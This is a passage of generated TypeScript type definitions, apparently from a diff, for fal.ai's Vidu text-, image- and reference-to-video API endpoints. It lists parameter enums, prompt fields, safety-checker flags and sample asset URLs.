@description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null + /** + * @description Text prompt for video generation, max 1500 characters + * @maxLength 1500 + * @example A young woman and a monkey inside a colorful house + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the output video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiViduQ1ReferenceToVideoAspectRatioEnumKey + /** + * @description Whether to add background music to the generated video + * @default false + * @type boolean | undefined + */ + bgm?: boolean + /** + * @description URLs of the reference images to use for consistent subject appearance. Q1 model supports up to 7 reference images. + * @example ["https://v3.fal.media/files/panda/HDpZj0eLjWwCpjA5__0l1_0e6cd0b9eb7a4a968c0019a4eee15e46.png","https://v3.fal.media/files/zebra/153izt1cBlMU-TwD0_B7Q_ea34618f5d974653a16a755aa61e488a.png","https://v3.fal.media/files/koala/RCSZ7VEEKGFDfMoGHCwzo_f626718793e94769b1ad36d5891864a4.png"] + * @type array + */ + reference_image_urls: string[] + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description The movement amplitude of objects in the frame + * @default 'auto' + * @type string | undefined + */ + movement_amplitude?: InputFalAiViduQ1ReferenceToVideoMovementAmplitudeEnumKey +} + +export type FileB5E86Ac9 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ1ReferenceToVideo = { + /** + * @description The generated video with consistent subjects from reference images using the Q1 model + * @example {"url":"https://fal.media/files/panda/4wmqVpGFsqzZrKROz9c1Z_output.mp4"} + * @type object + */ + video: FileB5E86Ac9 +} + +export const inputFalAiViduQ1StartEndToVideoMovementAmplitudeEnum = { + auto: 'auto', + small: 'small', + medium: 'medium', + large: 'large', +} as const + +export type InputFalAiViduQ1StartEndToVideoMovementAmplitudeEnumKey = + (typeof inputFalAiViduQ1StartEndToVideoMovementAmplitudeEnum)[keyof typeof inputFalAiViduQ1StartEndToVideoMovementAmplitudeEnum] + +export type InputFalAiViduQ1StartEndToVideo = { + /** + * @description URL of the image to use as the last frame + * @example https://v3.fal.media/files/kangaroo/CASBu_OmOnZ8IafirarFL_last_frame_q1.png + * @type string + */ + end_image_url: string + /** + * @description The movement amplitude of objects in the frame + * @default 'auto' + * @type string | undefined + */ + movement_amplitude?: InputFalAiViduQ1StartEndToVideoMovementAmplitudeEnumKey + /** + * @description Text prompt for video generation, max 1500 characters + * @maxLength 1500 + * @example Dragon lands on a rock + * @type string + */ + prompt: string + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/sgsdKvPigPhJ1S7Hl5bWc_first_frame_q1.png + * @type string + */ + start_image_url: string +} + +export type FileBc47F496 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ1StartEndToVideo = { + /** + * @description The generated transition video between start and end frames using the Q1 model + * @example {"url":"https://fal.media/files/zebra/-ACpJE6m4JQSBCCeNB51S_output.mp4"} + * @type object + */ + video: FileBc47F496 +} + +export const inputFalAiViduQ1TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiViduQ1TextToVideoAspectRatioEnumKey = + (typeof inputFalAiViduQ1TextToVideoAspectRatioEnum)[keyof typeof inputFalAiViduQ1TextToVideoAspectRatioEnum] + +export const inputFalAiViduQ1TextToVideoStyleEnum = { + general: 'general', + anime: 'anime', +} as const + +export type InputFalAiViduQ1TextToVideoStyleEnumKey = + (typeof inputFalAiViduQ1TextToVideoStyleEnum)[keyof typeof inputFalAiViduQ1TextToVideoStyleEnum] + +export const inputFalAiViduQ1TextToVideoMovementAmplitudeEnum = { + auto: 'auto', + small: 'small', + medium: 'medium', + large: 'large', +} as const + +export type InputFalAiViduQ1TextToVideoMovementAmplitudeEnumKey = + (typeof inputFalAiViduQ1TextToVideoMovementAmplitudeEnum)[keyof typeof inputFalAiViduQ1TextToVideoMovementAmplitudeEnum] + +export type InputFalAiViduQ1TextToVideo = { + /** + * @description The aspect ratio of the output video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiViduQ1TextToVideoAspectRatioEnumKey + /** + * @description The style of output video + * @default 'general' + * @type string | undefined + */ + style?: InputFalAiViduQ1TextToVideoStyleEnumKey + /** + * @description Seed for the random number generator + */ + seed?: number | null + /** + * @description The movement amplitude of objects in the frame + * @default 'auto' + * @type string | undefined + */ + movement_amplitude?: InputFalAiViduQ1TextToVideoMovementAmplitudeEnumKey + /** + * @description Text prompt for video generation, max 1500 characters + * @maxLength 1500 + * @example In an ultra-realistic fashion photography style featuring light blue and pale amber tones, an astronaut in a spacesuit walks through the fog. The background consists of enchanting white and golden lights, creating a minimalist still life and an impressive panoramic scene. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File6750Af05 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ1TextToVideo = { + /** + * @description The generated video using the Q1 model + * @example {"url":"https://fal.media/files/penguin/senyvDPQAk8Fvt5voX3NU_output.mp4"} + * @type object + */ + video: File6750Af05 +} + +export const inputFalAiViduQ2ImageToVideoProResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiViduQ2ImageToVideoProResolutionEnumKey = + (typeof inputFalAiViduQ2ImageToVideoProResolutionEnum)[keyof typeof inputFalAiViduQ2ImageToVideoProResolutionEnum] + +export const inputFalAiViduQ2ImageToVideoProMovementAmplitudeEnum = { + auto: 'auto', + small: 'small', + medium: 'medium', + large: 'large', +} as const + +export type InputFalAiViduQ2ImageToVideoProMovementAmplitudeEnumKey = + (typeof inputFalAiViduQ2ImageToVideoProMovementAmplitudeEnum)[keyof typeof inputFalAiViduQ2ImageToVideoProMovementAmplitudeEnum] + +export const inputFalAiViduQ2ImageToVideoProDurationEnum = { + '2': 2, + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, +} as const + +export type InputFalAiViduQ2ImageToVideoProDurationEnumKey = + (typeof inputFalAiViduQ2ImageToVideoProDurationEnum)[keyof typeof inputFalAiViduQ2ImageToVideoProDurationEnum] + +export type InputFalAiViduQ2ImageToVideoPro = { + /** + * @description URL of the image to use as the ending frame. When provided, generates a transition video between start and end frames. + */ + end_image_url?: string | null + /** + * @description Text prompt for video generation, max 3000 characters + * @maxLength 3000 + * @example A woman walking through a vibrant city street at night, neon lights reflecting off wet pavement. + * @type string + */ + prompt: string + /** + * @description Output video resolution + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiViduQ2ImageToVideoProResolutionEnumKey + /** + * @description Whether to add background music to the video (only for 4-second videos) + * @default false + * @type boolean | undefined + */ + bgm?: boolean + /** + * @description URL of the image to use as the starting frame + * @example https://storage.googleapis.com/falserverless/web-examples/vidu/stylish_woman.webp + * @type string + */ + image_url: string + /** + * @description The movement amplitude of objects in the frame + * @default 'auto' + * @type string | undefined + */ + movement_amplitude?: InputFalAiViduQ2ImageToVideoProMovementAmplitudeEnumKey + /** + * @description Duration of the video in seconds + * @default 4 + * @type number | undefined + */ + duration?: InputFalAiViduQ2ImageToVideoProDurationEnumKey + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null +} + +export type File25Ad48C2 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ2ImageToVideoPro = { + /** + * @description The generated video from image using the Q2 model + * @example {"url":"https://fal.media/files/tiger/L_lU76tYg-cXG_twy9N62_output.mp4"} + * @type object + */ + video: File25Ad48C2 +} + +export const inputFalAiViduQ2ImageToVideoTurboResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiViduQ2ImageToVideoTurboResolutionEnumKey = + (typeof inputFalAiViduQ2ImageToVideoTurboResolutionEnum)[keyof typeof inputFalAiViduQ2ImageToVideoTurboResolutionEnum] + +export const inputFalAiViduQ2ImageToVideoTurboMovementAmplitudeEnum = { + auto: 'auto', + small: 'small', + medium: 'medium', + large: 'large', +} as const + +export type InputFalAiViduQ2ImageToVideoTurboMovementAmplitudeEnumKey = + (typeof inputFalAiViduQ2ImageToVideoTurboMovementAmplitudeEnum)[keyof typeof inputFalAiViduQ2ImageToVideoTurboMovementAmplitudeEnum] + +export const inputFalAiViduQ2ImageToVideoTurboDurationEnum = { + '2': 2, + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, +} as const + +export type InputFalAiViduQ2ImageToVideoTurboDurationEnumKey = + (typeof inputFalAiViduQ2ImageToVideoTurboDurationEnum)[keyof typeof inputFalAiViduQ2ImageToVideoTurboDurationEnum] + +export type InputFalAiViduQ2ImageToVideoTurbo = { + /** + * @description URL of the image to use as the ending frame. When provided, generates a transition video between start and end frames. + */ + end_image_url?: string | null + /** + * @description Text prompt for video generation, max 3000 characters + * @maxLength 3000 + * @example A woman walking through a vibrant city street at night, neon lights reflecting off wet pavement. + * @type string + */ + prompt: string + /** + * @description Output video resolution + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiViduQ2ImageToVideoTurboResolutionEnumKey + /** + * @description Whether to add background music to the video (only for 4-second videos) + * @default false + * @type boolean | undefined + */ + bgm?: boolean + /** + * @description URL of the image to use as the starting frame + * @example https://storage.googleapis.com/falserverless/web-examples/vidu/stylish_woman.webp + * @type string + */ + image_url: string + /** + * @description The movement amplitude of objects in the frame + * @default 'auto' + * @type string | undefined + */ + movement_amplitude?: InputFalAiViduQ2ImageToVideoTurboMovementAmplitudeEnumKey + /** + * @description Duration of the video in seconds + * @default 4 + * @type number | undefined + */ + duration?: InputFalAiViduQ2ImageToVideoTurboDurationEnumKey + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null +} + +export type File0E2Ee565 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ2ImageToVideoTurbo = { + /** + * @description The generated video from image using the Q2 model + * @example {"url":"https://fal.media/files/tiger/L_lU76tYg-cXG_twy9N62_output.mp4"} + * @type object + */ + video: File0E2Ee565 +} + +export const inputFalAiViduQ2ReferenceToVideoProResolutionEnum = { + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiViduQ2ReferenceToVideoProResolutionEnumKey = + (typeof inputFalAiViduQ2ReferenceToVideoProResolutionEnum)[keyof typeof inputFalAiViduQ2ReferenceToVideoProResolutionEnum] + +export const inputFalAiViduQ2ReferenceToVideoProMovementAmplitudeEnum = { + auto: 'auto', + small: 'small', + medium: 'medium', + large: 'large', +} as const + +export type InputFalAiViduQ2ReferenceToVideoProMovementAmplitudeEnumKey = + (typeof inputFalAiViduQ2ReferenceToVideoProMovementAmplitudeEnum)[keyof typeof inputFalAiViduQ2ReferenceToVideoProMovementAmplitudeEnum] + +export type InputFalAiViduQ2ReferenceToVideoPro = { + /** + * @description Text prompt for video generation, max 2000 characters + * @maxLength 2000 + * @example @Figure 1 Character Reference@Refer to the special effects, movements, and camera work of Video 1. + * @type string + */ + prompt: string + /** + * @description Output video resolution + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiViduQ2ReferenceToVideoProResolutionEnumKey + /** + * @description Whether to add background music to the generated video + * @default false + * @type boolean | undefined + */ + bgm?: boolean + /** + * @description URLs of the reference images for subject appearance. If videos are provided, up to 4 images are allowed; otherwise up to 7 images. + * @example ["https://storage.googleapis.com/falserverless/model_tests/video_models/vidu-image-3123041388101890.png"] + * @type array | undefined + */ + reference_image_urls?: string[] + /** + * @description The movement amplitude of objects in the frame + * @default 'auto' + * @type string | undefined + */ + movement_amplitude?: InputFalAiViduQ2ReferenceToVideoProMovementAmplitudeEnumKey + /** + * @description Duration of the video in seconds (0 for automatic duration) + * @minimum 1 + * @maximum 8 + * @default 4 + * @type integer | undefined + */ + duration?: number + /** + * @description Aspect ratio of the output video (e.g., auto, 16:9, 9:16, 1:1, or any W:H) + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: string + /** + * @description URLs of the reference videos for video editing or motion reference. Supports up to 2 videos. + * @example ["https://storage.googleapis.com/falserverless/model_tests/video_models/vidu-video-3123002003131623.mp4"] + * @type array | undefined + */ + reference_video_urls?: string[] + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null +} + +export type File30152412 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ2ReferenceToVideoPro = { + /** + * @description The generated video with video/image references using the Q2 Pro model + * @example {"url":"https://v3b.fal.media/files/b/0a8aa38a/_nfU-t1qY1HEVcDqct-M__output.mp4"} + * @type object + */ + video: File30152412 +} + +export const inputFalAiViduQ2TextToVideoMovementAmplitudeEnum = { + auto: 'auto', + small: 'small', + medium: 'medium', + large: 'large', +} as const + +export type InputFalAiViduQ2TextToVideoMovementAmplitudeEnumKey = + (typeof inputFalAiViduQ2TextToVideoMovementAmplitudeEnum)[keyof typeof inputFalAiViduQ2TextToVideoMovementAmplitudeEnum] + +export const inputFalAiViduQ2TextToVideoDurationEnum = { + '2': 2, + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, + '8': 8, +} as const + +export type InputFalAiViduQ2TextToVideoDurationEnumKey = + (typeof inputFalAiViduQ2TextToVideoDurationEnum)[keyof typeof inputFalAiViduQ2TextToVideoDurationEnum] + +export const inputFalAiViduQ2TextToVideoResolutionEnum = { + '360p': '360p', + '520p': '520p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiViduQ2TextToVideoResolutionEnumKey = + (typeof inputFalAiViduQ2TextToVideoResolutionEnum)[keyof typeof inputFalAiViduQ2TextToVideoResolutionEnum] + +export const inputFalAiViduQ2TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', +} as const + +export type InputFalAiViduQ2TextToVideoAspectRatioEnumKey = + (typeof inputFalAiViduQ2TextToVideoAspectRatioEnum)[keyof typeof inputFalAiViduQ2TextToVideoAspectRatioEnum] + +export type InputFalAiViduQ2TextToVideo = { + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description The movement amplitude of objects in the frame + * @default 'auto' + * @type string | undefined + */ + movement_amplitude?: InputFalAiViduQ2TextToVideoMovementAmplitudeEnumKey + /** + * @description Text prompt for video generation, max 3000 characters + * @maxLength 3000 + * @example A cinematic shot of a futuristic city at sunset, with flying cars and towering skyscrapers. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Duration of the video in seconds + * @default 4 + * @type number | undefined + */ + duration?: InputFalAiViduQ2TextToVideoDurationEnumKey + /** + * @description Whether to add background music to the video (only for 4-second videos) + * @default false + * @type boolean | undefined + */ + bgm?: boolean + /** + * @description Output video resolution + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiViduQ2TextToVideoResolutionEnumKey + /** + * @description The aspect ratio of the output video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiViduQ2TextToVideoAspectRatioEnumKey +} + +export type FileAb9B7784 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ2TextToVideo = { + /** + * @description The generated video from text using the Q2 model + * @example {"url":"https://fal.media/files/penguin/sUYfE1bo3z5Gds7pSuFHD_output.mp4"} + * @type object + */ + video: FileAb9B7784 +} + +export const inputFalAiViduQ2VideoExtensionProDurationEnum = { + '2': 2, + '3': 3, + '4': 4, + '5': 5, + '6': 6, + '7': 7, +} as const + +export type InputFalAiViduQ2VideoExtensionProDurationEnumKey = + (typeof inputFalAiViduQ2VideoExtensionProDurationEnum)[keyof typeof inputFalAiViduQ2VideoExtensionProDurationEnum] + +export const inputFalAiViduQ2VideoExtensionProResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiViduQ2VideoExtensionProResolutionEnumKey = + (typeof inputFalAiViduQ2VideoExtensionProResolutionEnum)[keyof typeof inputFalAiViduQ2VideoExtensionProResolutionEnum] + +export type InputFalAiViduQ2VideoExtensionPro = { + /** + * @description Duration of the extension in seconds + * @default 4 + * @type number | undefined + */ + duration?: InputFalAiViduQ2VideoExtensionProDurationEnumKey + /** + * @description URL of the video to extend + * @example https://storage.googleapis.com/falserverless/model_tests/video_models/output-3.mp4 + * @type string + */ + video_url: string + /** + * @description text prompt to guide the video extension + */ + prompt?: string | null + /** + * @description Output video resolution + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiViduQ2VideoExtensionProResolutionEnumKey + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null +} + +export type File3C2B992E = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ2VideoExtensionPro = { + /** + * @description The extended video using the Q2 model + * @example {"url":"https://v3b.fal.media/files/b/zebra/wSaP_lTetcD47ErjwsVGE_output.mp4"} + * @type object + */ + video: File3C2B992E +} + +export const inputFalAiViduQ3ImageToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiViduQ3ImageToVideoResolutionEnumKey = + (typeof inputFalAiViduQ3ImageToVideoResolutionEnum)[keyof typeof inputFalAiViduQ3ImageToVideoResolutionEnum] + +export type InputFalAiViduQ3ImageToVideo = { + /** + * @description URL of the image to use as the ending frame. When provided, generates a transition video between start and end frames. + */ + end_image_url?: string | null + /** + * @description Text prompt for video generation, max 2000 characters + * @maxLength 2000 + * @default '' + * @example The astronaut waved and the camera moved up. + * @type string | undefined + */ + prompt?: string + /** + * @description Output video resolution. Note: 360p is not available when end_image_url is provided. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiViduQ3ImageToVideoResolutionEnumKey + /** + * @description URL or base64 image to use as the starting frame + * @example https://prod-ss-images.s3.cn-northwest-1.amazonaws.com.cn/vidu-maas/template/image2video.png + * @type string + */ + image_url: string + /** + * @description Whether to use direct audio-video generation. When true, outputs video with sound (including dialogue and sound effects). + * @default true + * @type boolean | undefined + */ + audio?: boolean + /** + * @description Duration of the video in seconds (1-16 for Q3 models) + * @minimum 1 + * @maximum 16 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null +} + +export type File26C13A8F = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ3ImageToVideo = { + /** + * @description The generated video from image using the Q3 model + * @example {"url":"https://v3b.fal.media/files/b/0a8c9189/n9z3uUDPqmU2msAtqr25-_output.mp4"} + * @type object + */ + video: File26C13A8F +} + +export const inputFalAiViduQ3ImageToVideoTurboResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiViduQ3ImageToVideoTurboResolutionEnumKey = + (typeof inputFalAiViduQ3ImageToVideoTurboResolutionEnum)[keyof typeof inputFalAiViduQ3ImageToVideoTurboResolutionEnum] + +export type InputFalAiViduQ3ImageToVideoTurbo = { + /** + * @description URL of the image to use as the ending frame. When provided, generates a transition video between start and end frames. + */ + end_image_url?: string | null + /** + * @description Text prompt for video generation, max 2000 characters + * @maxLength 2000 + * @default '' + * @example The astronaut waved and the camera moved up. + * @type string | undefined + */ + prompt?: string + /** + * @description Output video resolution. Note: 360p is not available when end_image_url is provided. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiViduQ3ImageToVideoTurboResolutionEnumKey + /** + * @description URL or base64 image to use as the starting frame + * @example https://prod-ss-images.s3.cn-northwest-1.amazonaws.com.cn/vidu-maas/template/image2video.png + * @type string + */ + image_url: string + /** + * @description Whether to use direct audio-video generation. When true, outputs video with sound (including dialogue and sound effects). + * @default true + * @type boolean | undefined + */ + audio?: boolean + /** + * @description Duration of the video in seconds (1-16 for Q3 models) + * @minimum 1 + * @maximum 16 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null +} + +export type File27217C48 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ3ImageToVideoTurbo = { + /** + * @description The generated video from image using the Q3 model + * @example {"url":"https://v3b.fal.media/files/b/0a8c9189/n9z3uUDPqmU2msAtqr25-_output.mp4"} + * @type object + */ + video: File27217C48 +} + +export const inputFalAiViduQ3ReferenceToVideoMixResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiViduQ3ReferenceToVideoMixResolutionEnumKey = + (typeof inputFalAiViduQ3ReferenceToVideoMixResolutionEnum)[keyof typeof inputFalAiViduQ3ReferenceToVideoMixResolutionEnum] + +export const inputFalAiViduQ3ReferenceToVideoMixAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '4:3': '4:3', + '3:4': '3:4', + '1:1': '1:1', +} as const + +export type InputFalAiViduQ3ReferenceToVideoMixAspectRatioEnumKey = + (typeof inputFalAiViduQ3ReferenceToVideoMixAspectRatioEnum)[keyof typeof inputFalAiViduQ3ReferenceToVideoMixAspectRatioEnum] + +export type InputFalAiViduQ3ReferenceToVideoMix = { + /** + * @description Text prompt for video generation, max 2000 characters + * @maxLength 2000 + * @example A character walking through a beach catching an apple. + * @type string + */ + prompt: string + /** + * @description Output video resolution + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiViduQ3ReferenceToVideoMixResolutionEnumKey + /** + * @description URLs of 1 to 4 reference images used to keep subjects or scenes consistent + * @example ["https://storage.googleapis.com/falserverless/web-examples/vidu/new-examples/reference1.png","https://storage.googleapis.com/falserverless/web-examples/vidu/new-examples/reference2.png","https://storage.googleapis.com/falserverless/web-examples/vidu/new-examples/reference3.png"] + * @type array + */ + reference_image_urls: string[] + /** + * @description Whether to use direct audio-video generation. When true, outputs video with sound. + * @default true + * @type boolean | undefined + */ + audio?: boolean + /** + * @description Duration of the video in seconds (1-16 for Q3 models) + * @minimum 1 + * @maximum 16 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description The aspect ratio of the output video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiViduQ3ReferenceToVideoMixAspectRatioEnumKey + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Enable safety checks; disabling requires authorization. + * @default true + */ + enable_safety_checker?: boolean | null +} + +export type FileFbbe2796 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ3ReferenceToVideoMix = { + /** + * @description The generated video from reference images using the Q3 model + * @example {"url":"https://v3b.fal.media/files/b/0a8c9189/n9z3uUDPqmU2msAtqr25-_output.mp4"} + * @type object + */ + video: FileFbbe2796 +} + +export const inputFalAiViduQ3TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '4:3': '4:3', + '3:4': '3:4', + '1:1': '1:1', +} as const + +export type InputFalAiViduQ3TextToVideoAspectRatioEnumKey = + (typeof inputFalAiViduQ3TextToVideoAspectRatioEnum)[keyof typeof inputFalAiViduQ3TextToVideoAspectRatioEnum] + +export const inputFalAiViduQ3TextToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiViduQ3TextToVideoResolutionEnumKey = + (typeof inputFalAiViduQ3TextToVideoResolutionEnum)[keyof typeof inputFalAiViduQ3TextToVideoResolutionEnum] + +export type InputFalAiViduQ3TextToVideo = { + /** + * @description Whether to use direct audio-video generation. When true, outputs video with sound. + * @default true + * @type boolean | undefined + */ + audio?: boolean + /** + * @description The aspect ratio of the output video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiViduQ3TextToVideoAspectRatioEnumKey + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Duration of the video in seconds + * @minimum 1 + * @maximum 16 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description Output video resolution + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiViduQ3TextToVideoResolutionEnumKey + /** + * @description Text prompt for video generation, max 2000 characters + * @maxLength 2000 + * @example In an ultra-realistic fashion photography style featuring light blue and pale amber tones, an astronaut in a spacesuit walks through the fog. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileEa569A1B = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiViduQ3TextToVideo = { + /** + * @description The generated video from text using the Q3 model + * @example {"url":"https://v3b.fal.media/files/b/0a8c915a/8dtkty-vyhotySs--cTKS_output.mp4"} + * @type object + */ + video: FileEa569A1B +} + +export const inputFalAiViduQ3TextToVideoTurboAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '4:3': '4:3', + '3:4': '3:4', + '1:1': '1:1', +} as const + +export type InputFalAiViduQ3TextToVideoTurboAspectRatioEnumKey = + (typeof inputFalAiViduQ3TextToVideoTurboAspectRatioEnum)[keyof typeof inputFalAiViduQ3TextToVideoTurboAspectRatioEnum] + +export const inputFalAiViduQ3TextToVideoTurboResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiViduQ3TextToVideoTurboResolutionEnumKey = + (typeof inputFalAiViduQ3TextToVideoTurboResolutionEnum)[keyof typeof inputFalAiViduQ3TextToVideoTurboResolutionEnum] + +export type InputFalAiViduQ3TextToVideoTurbo = { + /** + * @description Whether to use direct audio-video generation. When true, outputs video with sound. + * @default true + * @type boolean | undefined + */ + audio?: boolean + /** + * @description The aspect ratio of the output video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: 